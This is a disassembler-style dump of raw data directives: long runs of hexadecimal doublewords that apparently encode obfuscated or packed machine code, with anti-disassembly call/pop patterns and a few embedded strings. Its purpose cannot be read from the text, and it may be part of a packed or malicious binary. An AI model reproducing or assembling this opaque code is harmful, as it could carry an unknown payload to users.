		dd 41FB8D8Bh, 820F06ACh, 0Fh, 0AE9h, 335C4C00h,	6EB311F5h
		dd 0B8517371h, 0
		dd 0D98BFCF5h, 0FF19529h, 7DE906ACh, 0F9000000h, 0F92632F9h
		dd 0E9F902B2h, 4Bh, 26719589h, 0C23206ACh, 1D7A05F9h, 8D898A75h
		dd 6AC2EC9h, 171B589h, 0CC8A06ACh, 7E9h, 0C9ECFA00h, 0AE7EFCA3h
		dd 35F5C8D3h, 98D10842h, 13E9h,	2D0D000h, 56A97512h, 0F34A67F0h
		dd 3CD26DB6h, 0A5CE12C5h, 0AF9CAFEh, 0B3850FD2h, 0F8FFFFFFh
		dd 7E94Bh, 7A80000h, 0B5F0F4D8h, 89604668h, 0AC19D5B5h
		dd 95BD3106h, 6106AC0Bh, 850FDB0Bh, 0FFFFFF7Dh,	1CEDB529h
		dd 0E9CF06ACh, 7, 934B8C69h, 3126539Ch,	0AC1C1185h, 0F5000006h
		dd 89600000h, 0AC2FB99Dh, 65B58B06h, 6106AC17h,	18C0Fh
		dd 0F80000h, 18880F00h,	60000000h, 0EE9h, 36584200h, 3D0438A5h
		dd 26CE9515h, 0F958EEAh, 61C1BFh, 858DFC00h, 6AC3AFFh
		dd 0E0816060h, 2D9045E0h, 48D0F61h, 66000000h, 6166E6BBh
		dd 5658589h, 0DE906ACh,	0C9000000h, 0A51FA5A7h,	39F8BD87h
		dd 0C29CD4A8h, 405D858Dh, 8B6006ACh, 0AC0B29BDh, 6E906h
		dd 2EB30000h, 80DFD4D9h, 4D858961h, 0E806AC13h,	12h, 7D23A6FBh
		dd 80585CC3h, 0E1F3CBBDh, 32668192h, 8166CA25h,	5BBA0ED1h
		dd 48D0Fh, 0BF660000h, 0C3815654h, 5A56h, 1AF5958Bh, 6CB806ACh
		dd 817BC3D1h, 3C450BC0h, 8BD68B84h, 0C681FC33h,	42374BBh
		dd 4EC4C681h, 9D892AE9h, 6AC0E2Dh, 5E5BEE81h, 33895DD1h
		dd 0B420BF66h, 0CDADEB81h, 0C38149AEh, 49AECDA9h, 0AD8D0160h
		dd 6606AC34h, 8361F98Bh, 850F01E8h, 0FFFFFFBFh,	14EBEF8Ah
		dd 4 dup(0)
		dd 8Bh,	43C9858Dh, 858906ACh, 6AC19A9h,	4300BD83h, 0F0006ACh
		dd 12C84h, 3985C600h, 5606AC33h, 4E8h, 1F6D3900h, 448B50D4h
		dd 8B0424h, 4244489h, 81B5FF58h, 8D06AC12h, 0AC3AFF85h
		dd 89D0FF06h, 0AC42F485h, 3985C606h, 5606AC33h,	4E8h, 0A8B85200h
		dd 448B509Ch, 8B0424h, 4244489h, 81B5FF58h, 8D06AC12h
		dd 0AC3AFF85h, 89D0FF06h, 0AC42F885h, 68046A06h, 58BD4386h
		dd 86243481h, 8B58BD53h, 0AC430485h, 1F40506h, 0E0C10000h
		dd 4895002h, 0FF006A24h, 0AC42F895h, 0FC858906h, 8B06AC42h
		dd 0FFFFB8D8h, 95FFFFFFh, 6AC19A9h, 95FFC38Bh, 6AC19A9h
		dd 84E9h, 0BD8300h, 6AC43h, 1850Fh, 57C30000h, 42FCBD8Bh
		dd 83AB06ACh, 0AC42FC85h, 0C35F0406h, 4300BD83h, 0F0006ACh
		dd 185h, 8360C300h, 0AC42FCADh,	9D8B0406h, 6AC42FCh, 0FFFC7B83h
		dd 1D850Fh, 0CC680000h,	8174C836h, 0B6CC2434h, 6A74C8h
		dd 95FF33FFh, 6AC42F4h,	1DE9C361h, 68000000h, 994FBB4Bh
		dd 0B5240481h, 6A66B0C4h, 0FF33FF00h, 0AC42F495h, 0FCAD8306h
		dd 406AC42h, 0FFFFB1E9h, 0D3E948FFh, 3E000009h,	65652347h
		dd 5707B5E2h, 0ABA67E7Dh, 8EF8C300h, 3E531E93h,	6F766869h
		dd 0A5D260E4h, 63735A06h, 6E682361h, 450FB9A0h,	0BAF52C6Ah
		dd 81BDC412h, 4E3071D8h, 72626263h, 0A5806CE5h,	6C755806h
		dd 74682362h, 5F12A6A0h, 0A6EB2C75h, 95AADF0Ch,	7A531AD6h
		dd 7266752Fh, 0A4D221F4h, 78754D48h, 72712374h,	5112A7EFh
		dd 2275h, 62h dup(0)
		dd 3E000000h, 6F6C2347h, 5F14A9EEh, 0B1F62C6Ah,	8DAAD70Eh
		dd 7F555B9Bh, 6461277Ch, 0B6802EE5h, 69744107h,	6E747126h
		dd 570EA9EEh, 0E3E86538h, 9EADDF18h, 6D4408D6h,	2F6E627Bh
		dd 0BCF04D8Ah, 6869550Dh, 6E74232Ah, 5401AFECh,	0E3F26538h
		dd 81B7C207h, 735816D6h, 217A7560h, 0F0C42EE1h,	7969511Ah
		dd 20757167h, 4215AFF9h, 0ACF47C38h, 81B9C206h,	0D8h, 47h dup(0)
		dd 3E000000h, 72622347h, 550BA3E1h, 0E3F52B6Ah,	80B7DF15h
		dd 6D5C13D6h, 6466652Fh, 0BFC660EEh, 2D7E5A1Dh,	6E6F7674h
		dd 1007AEE9h, 0BAA66271h, 0CCAAC50Eh, 6A4E0285h, 0B2D6A6Ah
		dd 0B5CC108Dh, 217F4709h, 6C6F7626h, 1004A1EFh,	0A5A67871h
		dd 0CCB5DF13h, 71501E9Bh, 60237E7Dh, 0A28024EEh, 6C6E470Dh
		dd 79217774h, 1012B5EFh, 0A4E97E68h, 0C2B5D113h, 61h dup(0)
		dd 3E000000h, 656D6A40h, 420FA3A0h, 0B7F6796Ah,	0C2F9D404h
		dd 77552FD6h, 7373277Ch, 0B1D227EFh, 6C721405h,	65632375h
		dd 5D40AEE5h, 0B3EF6279h, 98B9DC14h, 7F1D1F93h,	6C236361h
		dd 0B5C239E1h, 79733962h, 69217021h, 5305A6EEh,	0E3E2696Ch
		dd 8DF8C903h, 6C542DD6h, 6E23747Ah, 0A2C360F2h,	68715709h
		dd 54212D62h, 1013A9E8h, 0A6EA657Eh, 82B7C741h,	691D0FD1h
		dd 21687560h, 0BDD92EE1h, 237F4607h, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 57E90000h, 0F00002Bh, 28Fh, 0FCD38B00h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 29C35242h, 2798D8EBh
		dd 21BD899Dh, 0B306AC30h, 6AC08B41h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0F6D1C355h
		dd 0E06BAF6Ah, 0B501F32Dh, 6AC0C49h, 1E85BD83h,	750006ACh
		dd 29BD8309h, 6AC0Ah, 53501374h, 1B8C08Bh, 8D000000h, 0AEA1069Dh
		dd 5BD3FF06h, 29BD8358h, 6AC0Ah, 53501174h, 1B8h, 0B79D8D00h
		dd 0FF06AE9Fh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0D782C356h,	0BA66B2A3h
		dd 6AD327h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0B589ABC3h, 6AC23A1h, 0F380C08Bh,	0F1BD83B3h
		dd 6AC2Dh, 17C840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 64116CC3h, 31B7BB23h
		dd 7413E281h, 958B1FFEh, 6AC1339h, 965BD83h, 0F0006ACh
		dd 14184h, 6A6000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0D6C919C3h, 128D0Fh, 0CE80000h
		dd 86000000h, 4880DD4Bh, 4C67427Eh, 5BA7D766h, 965858Bh
		dd 8B6606ACh, 3E805D3h,	85290000h, 6AC23A1h, 0BA666090h
		dd 8F0FF3ABh, 2, 50615953h, 5DBA6690h, 68C0F91h, 81000000h
		dd 0BA9C6DEBh, 0D858D0Ah, 5206AC4Eh, 4AEB8166h,	0E9505BA0h
		dd 0Bh,	0AFAF2E11h, 923AB6E6h, 8971EDCCh, 8B662404h, 0EB858DD6h
		dd 6006AC4Dh, 8BD6BF0Fh, 0AC0C5D8Dh, 8B906106h,	890F50D9h
		dd 1Ah,	10E8h, 0D4D5A000h, 0F5ABDB4Bh, 0CC493E19h, 0B764E5D2h
		dd 0FDBA6610h, 8B905ABFh, 3D8D89D3h, 0FF06AC12h, 0AC14F995h
		dd 79952906h, 8306AC0Ah, 0D08B0CC4h, 4DEB858Dh,	810F06ACh
		dd 6, 3311958Bh, 8B5606ACh, 0F505BD7h, 28Ah, 89D68B00h
		dd 0D78B2404h, 6E9026Ah, 0F8000000h, 0E7E433BDh, 1495FFBFh
		dd 6A006AEDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0A4B6C353h, 0B43C1361h, 0B68A89EDh
		dd 0BA6661A1h, 85C71224h, 6AC4E1Eh, 1, 0BE8h, 0FF1AC100h
		dd 0A70CCFBAh, 0B41DF14Eh, 7CABC381h, 965B5719h, 0F50DF8Bh
		dd 285h, 96D98B00h, 27A62BBh, 0CFB58906h, 0F06AC4Dh, 687h
		dd 6D9D8900h, 8306AC20h, 0AC0161BDh, 850F0106h,	61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B0C35646h, 0F05F883h
		dd 3C85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 95B529EAh, 8B06AC1Eh, 0AC34F595h
		dd 0B806h, 0AE90000h, 66000000h, 37C6439Eh, 0BBA26105h
		dd 85BD8394h, 6AC25h, 69840Fh, 9D0B0000h, 6AC29F9h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0FE984902h, 258595FFh, 0BA6606ACh, 0F602C3Ch, 0CE9DFB7h
		dd 0AB000000h, 3287D441h, 4BB8C09Ch, 61BAA35Fh,	52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 8D0F93h, 83000000h, 0AC23A5BDh, 840F0006h, 19h, 9D8B6052h
		dd 6AC1159h, 9CC38166h,	0B85A6160h, 0
		dd 0EB2A76BBh, 6A6013h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 5A6A33C3h, 0FFC3BE1h, 858BD0B7h
		dd 6AC05A9h, 0AE8h, 0A0362D00h,	7CBD2366h, 0E9761E01h
		dd 13h,	68BE9A9h, 24C345F1h, 3E74AF2Dh,	32CA4EFEh, 5A8BF401h
		dd 2C083FCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	76C35747h, 0E37B8607h, 9533068Fh, 6AC30D1h, 0FE9h
		dd 0A3C9EC00h, 0EDAE7EFCh, 0CED2D7ABh, 4A71A765h, 4DC78589h
		dd 0CA8106ACh, 2BCC0C22h, 80FF00C6h, 85C6A7CAh,	6AC3339h
		dd 0E8D38B53h, 4, 0FCB148D8h, 840Fh, 0BB500000h, 4EBA3FDDh
		dd 424448Bh, 0DE860h, 4CD40000h, 0DB912BDDh, 734AE749h
		dd 52CA9260h, 8E85958h,	92000000h, 5073BA1Bh, 5B8DC33Ch
		dd 0E9008B61h, 11h, 8310D1F7h, 917B3C28h, 0BFCD4E8Bh, 0B1BF1F1Fh
		dd 2444895Bh, 57E1BA04h, 0E9582ED7h, 6,	5C9FEF4Fh, 0B5FFCF14h
		dd 6AC210Dh, 128D958Bh,	858D06ACh, 6AF6929h, 10E8h, 7B3E3B00h
		dd 5E97867Bh, 16396EABh, 4C049919h, 899D29EDh, 5B06AC0Ah
		dd 0D0FFDDB3h, 2F11BD89h, 0BF0F06ACh, 458589D9h, 6A06AC21h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 6E54C357h, 0AFBA5F4Ch, 8B4FE3BBh,	0AC00B99Dh
		dd 99BD8306h, 106AC00h,	0D9850Fh, 830F0000h, 10h, 0BE9h
		dd 0A4CF4200h, 6B8A3E68h, 0B5876DFDh, 0C19D8B61h, 0C606AC32h
		dd 0AC333985h, 95234506h, 6AC274Dh, 0C5EAC381h,	4E80E59h
		dd 0C2000000h, 0FDA6038h, 581h,	0A270BB00h, 0BA504C46h
		dd 70D1A856h, 424448Bh,	0F525050h, 0F525031h, 5A585A31h
		dd 8B5A58h, 810Fh, 44890000h, 0BB660424h, 0F589DA5h, 0B5FFD0B7h
		dd 6AC210Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0B5C35141h, 0BB880B1Ah,	858DEBFAh, 6AF6929h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 7AC35343h, 3E671454h
		dd 669B2B8Fh, 0BAAEF8BBh, 6129907Ah, 8166D0FFh,	6AE552C2h
		dd 0FF9CB200h, 8302B2D0h, 0AC3359BDh, 850F0106h, 0D7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 61C35646h
		dd 5A9858Bh, 0E9F906ACh, 74h, 1CFD9D8Bh, 669006ACh, 6650DF8Bh
		dd 6A90D88Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0B28C353h, 0F59B7106h,	6A146Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 176C52C3h, 816660A7h, 0F5CDFCEh, 680h, 158D8900h, 6106AC34h
		dd 214595FFh, 0BF0F06ACh, 0B52958DEh, 6AC0691h,	0F003880h
		dd 0FFFF8985h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0AA0EA38h, 380EF58Eh
		dd 1F518D89h, 0C606ACh,	95958B01h, 6106AC01h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 21C35141h, 5BBB92Ah
		dd 8589462Dh, 6AC23B5h,	0CBDB589h, 0BD8306ACh, 6AC2565h
		dd 7A840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 818CC352h, 6A99CA80h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0F7F046B3h, 1A0DE5B5h, 214595FFh, 6A06ACh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 9E0B00C3h, 660664EEh, 0ACE9DE8Bh, 89FFFFFFh,	0AC252D95h
		dd 6585C706h, 106AC25h,	8B000000h, 0AC23ED95h, 0D3858906h
		dd 6A06AC4Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E992C352h, 53525050h,	0F5B5B52h
		dd 71C1BA31h, 585A316Bh, 81240489h, 8F7D76F2h, 6E9601Eh
		dd 54000000h, 0D47DBAC5h, 0D3816653h, 56A793Ch,	68E0Fh
		dd 9D8B0000h, 6AC23BDh,	4DEB858Dh, 9D8B06ACh, 6AC0125h
		dd 9E950h, 0A1F20000h, 5CBCBA7Ah, 894FA703h, 6A2404h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9EBC1C3h, 8, 0B32B27C6h, 0DEB536E8h, 4DDB858Dh, 958906ACh
		dd 6AC293Dh, 73B35750h,	2404895Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0B4C35040h,	987D16E5h, 9358531h
		dd 9D8B06ACh, 6AC077Dh,	0CA595FFh, 0F78A06ACh, 792C8D8Dh
		dd 606006ACh, 5E87BB3h,	4000000h, 0E1D66B75h, 8D2B6159h
		dd 6AC1911h, 74C00B61h,	0EB858D11h, 5006AC4Dh, 8589D1FFh
		dd 6AC4E09h, 85C70AEBh,	6AC4E09h, 0FFFFFFFFh, 8166F18Ah
		dd 616630EAh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	50C35545h, 88F49043h, 0B52950B6h, 6AC142Dh, 333985C6h
		dd 8B4D06ACh, 0AC27A59Dh, 4E806h, 76A80000h, 5E9A435h
		dd 0F7000000h, 23410055h, 7850F50h, 50000000h, 6BEB0BBh
		dd 448B5B35h, 8B660424h, 89008BD7h, 50042444h, 0ACBB6652h
		dd 60310FBEh, 0FE8h, 0CD26CB00h, 1DA3F827h, 95D7B4BEh
		dd 0F2321588h, 870F5Eh,	61000000h, 6A58585Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 222DC355h, 0AC752780h, 958B2F6Bh, 6AC323Dh, 3431B5FFh
		dd 0C38106ACh, 3BBB3B48h, 6929858Dh, 8B0F06AFh,	4, 9658BB66h
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 30A457C3h, 92D50E48h, 89DEF66Dh, 0AC0F1985h
		dd 7E906h, 21370000h, 0AE268AFBh, 3985C6A5h, 4506AC33h
		dd 31F99589h, 6D6806ACh, 535CCCCFh, 8B665250h, 66310FDEh
		dd 585AD78Bh, 2404815Bh, 31A599FCh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 5AC35545h, 9EE5ACCFh, 0B5294380h
		dd 6AC0BD1h, 210DB5FFh,	950B06ACh, 6AC1FFDh, 6929858Dh
		dd 9D8B06AFh, 6AC2649h,	0D18BD0FFh, 89D78B66h, 0AC21D185h
		dd 0F9DA8006h, 9D8BD28Bh, 6AC0655h, 6AD98C66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0CB7DC351h, 0BFED3A33h, 9D8B2BB3h, 6AC1C2Dh,	0F04C1F6h
		dd 1AA84h, 0D0BF0F00h, 0D2E9h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0C5B58BCCh
		dd 0B706AC2Fh, 80C68122h, 66000011h, 0FDECE281h, 32F5BD83h
		dd 0F0006ACh, 1085h, 69B58900h,	0E906AC05h, 6Bh, 62EA8166h
		dd 3E83F8h, 5D840Fh, 870F0000h,	2, 6A60DE8Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0DB11C353h, 11E9D48Ah, 0AD000000h, 0F28B4569h, 99EF79AEh
		dd 449EC102h, 0A7F19862h, 0BB66146Ah, 95FF89CBh, 6AC2145h
		dd 494098BBh, 8D89614Bh, 6AC20F5h, 0FFFF9CE9h, 0C70EB3FFh
		dd 106h, 8D858900h, 0E906AC27h,	0Fh, 70AC4C15h,	8BBC174Bh
		dd 5290F1CBh, 83C00873h, 0AC4DD3BDh, 850F0506h,	0C3h, 8BD08B66h
		dd 0AC21D1B5h, 419D8B06h, 8B06AC15h, 0AC0BFD9Dh
		dd 64B906h, 74B20000h, 0FE83E80h, 4084h, 68C0F00h, 8B000000h
		dd 0AC1DB995h, 7D952306h, 0E906AC0Ch, 47h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C6C35141h, 89D1492Dh
		dd 0AC06F595h, 0D4BA6606h, 57E8036h, 2D840FC2h,	0E9000000h
		dd 9, 0F6F5E6BCh, 9E440AB6h, 25B58951h,	4606AC20h, 0F49D08Ah
		dd 0FFFF8F85h, 0D2BB66FFh, 2DE986h, 8D890000h, 6AC1E7Dh
		dd 3161B589h, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 3C73C6C3h, 58CAEF14h, 0E7B9EDBAh
		dd 25BD8343h, 6AC33h, 102840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 95AAECC3h
		dd 0C0DEF6Dh, 60C0F29Dh, 3985C6F5h, 5406AC33h, 0DC5958Bh
		dd 958906ACh, 6AC1A09h,	59926B68h, 0DDBB66DFh, 24048133h
		dd 1FF52C89h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	60C35141h, 0FFD08BBCh, 0AC210DB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 93B75D83h, 0F7F81B48h, 33F19D89h, 858D06ACh,	6AF6929h
		dd 75DA8166h, 6AD0FFADh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 9533C352h, 63D5B97Ch
		dd 6AFF8613h, 25B5FF00h, 8906AC33h, 0AC1F5195h,	6AD0FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 5578C351h, 34E5628Bh, 9D8B61F5h, 6AC2889h
		dd 122985C7h, 106ACh, 0F78A0000h, 9E8h,	8F3DE600h, 71688D30h
		dd 0CA81B725h, 399D9144h, 12E8605Ah, 71000000h,	0CC12E310h
		dd 8BB8806Dh, 0F71C98C7h, 0B120B9C1h, 0D3B70F76h, 97BB665Ah
		dd 4E825h, 800000h, 0BB660000h,	50509AC2h, 7E952h, 0FF220000h
		dd 13DCFAF2h, 5A310FC9h, 24448B58h, 0BE804h, 150000h, 0D1F1BA01h
		dd 0A8B3D4Ah, 5AD98B07h, 4489008Bh, 52500424h, 4F9FBA66h
		dd 8B66310Fh, 58585AD3h, 148A0F57h, 0E8000000h,	0Eh, 0B383C90Ch
		dd 0D1EA2B20h, 0D7A44CADh, 5A5B2945h, 9D03FF6Ah, 6AC31A1h
		dd 33F59D89h, 95FF06ACh, 6AC2ED1h, 6A61F5h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0B771EAC3h
		dd 0E9DA9997h, 7, 681BD834h, 0F6B2B7Fh,	0B750DABFh, 240489A8h
		dd 318D858Bh, 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0E9396BC3h, 7E9h, 87F8F00h, 0DE920CACh
		dd 840FC00Bh, 4Ah, 0FA0DA81h, 0BE941C6h, 42000000h, 4D66D2FFh
		dd 0DC37D7B6h, 95FF8E7Eh, 6AC2DB1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0E5C35343h,	2D26ABD6h, 6894AD29h
		dd 0BD895056h, 6AC26B1h, 85C75A5Bh, 6AC1785h, 1, 0EE9h
		dd 0A8F05100h, 0A2C50CD5h, 39F9C137h, 837143FFh, 0AC2505BDh
		dd 840F0006h, 51h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0FCC35343h, 0FD7A625Eh, 40145F26h, 0FF23B33Eh
		dd 0AC058595h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8103A10Dh, 3CC57AD2h
		dd 25BD8329h, 6AC30h, 12840Fh, 0CB810000h, 1120AE55h, 239595FFh
		dd 9D2306ACh, 6AC177Dh,	1BFDBD83h, 0F0006ACh, 1E84h, 79C78000h
		dd 1E39BD83h, 0F0006ACh, 0E85h,	0D7BF0F00h, 0FDD95FFh
		dd 46BB06ACh, 832360A0h, 0AC0035BDh, 840F0006h,	63h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CCC35545h, 0FFA63F3Ch
		dd 0F8407E56h, 8581F8A2h, 6AC0889h, 4003h, 85810EB7h, 6AC0C01h
		dd 4003h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0E7C35545h, 0C2A84729h,	95958BFCh, 0F06AC14h, 50006A31h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B2FC7F8Ch, 168D8DE6h, 0E906AC5Eh, 0Eh, 7B031051h, 28807D4Eh
		dd 3A52E133h, 9D338DF6h, 6AC0A71h, 9D890189h, 6AC2469h
		dd 6AC233h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0BBE7B0C3h, 9EBFC67Bh, 25B5297Ah,	8906AC14h
		dd 6A0441h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 958B31C3h, 6AC23ADh, 9D89310Fh, 6AC0A39h
		dd 19219533h, 8D8D06ACh, 6AC5E22h, 32358D31h, 18906ACh
		dd 2E9D952Bh, 0C23306ACh, 41890CB2h, 0F44CBB04h, 0BD8339DCh
		dd 6AC2191h, 2B840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89D2C356h
		dd 0AC211D9Dh, 0B995FF06h, 6606AC0Ch, 0BD83D68Bh, 6AC2E8Dh
		dd 74850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0ED63C356h,	24983F4Eh
		dd 0A3D68052h, 49E95Ah,	0FE8A0000h, 5F85B58Bh, 6C706ACh
		dd 0
		dd 5D3BB58Bh, 6C706ACh,	0
		dd 0D98B66CFh, 50006AF5h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 47D8500Fh, 50BF8D11h
		dd 80D2EB81h, 835B42E5h, 0AC1785BDh, 840F0006h,	148h, 12E9h
		dd 2B561200h, 0D0B60C90h, 2EA02E48h, 5C244488h,	839ACDEBh
		dd 0AC1E59BDh, 850F0106h, 10Fh,	27299D8Bh, 8D8B06ACh, 6AC4DC7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A6C35747h
		dd 219D9D23h, 0EB8106ACh, 2BA924DDh, 0E90001C6h, 0Fh, 63C6555h
		dd 0A5FA35ECh, 0E0800534h, 606FDDE8h, 0CBEA8166h, 857F6821h
		dd 0D78BF656h, 1240481h, 6609A97Bh, 9A1FCA81h, 9D01FF6Ah
		dd 6AC2E99h, 2ED195FFh,	6A06ACh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0A5BC99C3h, 0D0F02986h
		dd 35858962h, 6106AC05h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 18C35343h, 9CD20DADh,	0CE196560h, 20CD95FFh
		dd 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 1B4108C3h, 0BB66ED43h, 9D8B17BBh,	6AC13C1h
		dd 6DBD8960h, 8906AC21h, 0AC31FDB5h, 8D8B6106h,	6AC4DC7h
		dd 9559D89h, 1FE06ACh, 83A9C780h, 0AC2785BDh, 850F0106h
		dd 8, 0DB58950h, 5B06AC20h, 6AC08Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E0BF48C3h
		dd 13F5C531h, 0ADC38070h, 1E85BD83h, 750006ACh,	29BD8309h
		dd 6AC0Ah, 53501A74h, 858BC08Bh, 6AC0889h, 8898589h, 9D8D06ACh
		dd 6AEA264h, 585BD3FFh,	0A29BD83h, 740006ACh, 8B535018h
		dd 0AC088985h, 89858906h, 8D06AC08h, 0AE9F539Dh, 5BD3FF06h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 880FE870h, 1, 8BDE8BF5h,	0B5B589C0h, 8306AC2Ah
		dd 0AC1785BDh, 850F0006h, 2Ch, 12E9h, 2DB8B200h, 0F45E76FBh
		dd 3793942Eh, 0A79A0028h, 83093BBCh, 0AC254DBDh, 840F0006h
		dd 8, 28B0Fh, 34B20000h, 1785BD83h, 0F0006ACh, 3484h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 6625FAB5h, 0F2E2EBBh, 0BD83D2BFh, 6AC0C45h, 2840F00h
		dd 0B7000000h, 85BD8302h, 6AC17h, 35840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8B664BC3h, 39BD89D7h, 8306AC21h, 0AC0C45BDh,	840F0006h
		dd 3, 83DFB70Fh, 0AC1785BDh, 840F0006h,	16h, 83D0B70Fh
		dd 0AC287DBDh, 840F0006h, 6, 1151BD89h,	0BD8306ACh, 6AC1785h
		dd 68840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0FD03C353h,	92950135h
		dd 0E9299D2Dh, 14h, 38E895B7h, 7F2047F1h, 4D3DB53h, 0A873F2EEh
		dd 83EA6D9Eh, 136DBD83h, 0F0006ACh, 1E84h, 8E96000h, 54000000h
		dd 7C7386CFh, 8BB5ACFFh, 0AC28659Dh, 95FF6106h,	6AC2039h
		dd 8BD1BF0Fh, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0FAB90B51h, 895AD351h, 0AC3205BDh
		dd 85BD8306h, 6AC1Eh, 0BD830975h, 6AC0A29h, 501A7400h
		dd 8BC08B53h, 0AC0C0185h, 1858906h, 8D06AC0Ch, 0AEA2CB9Dh
		dd 5BD3FF06h, 29BD8358h, 6AC0Ah, 53501874h, 0C01858Bh
		dd 858906ACh, 6AC0C01h,	9F6C9D8Dh, 0D3FF06AEh, 9D8B585Bh
		dd 6AC0561h, 4D38166h, 5BF857D5h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 9B916BC3h
		dd 21398531h, 9D8906ACh, 6AC1765h, 1785BD83h, 0F0006ACh
		dd 3C984h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
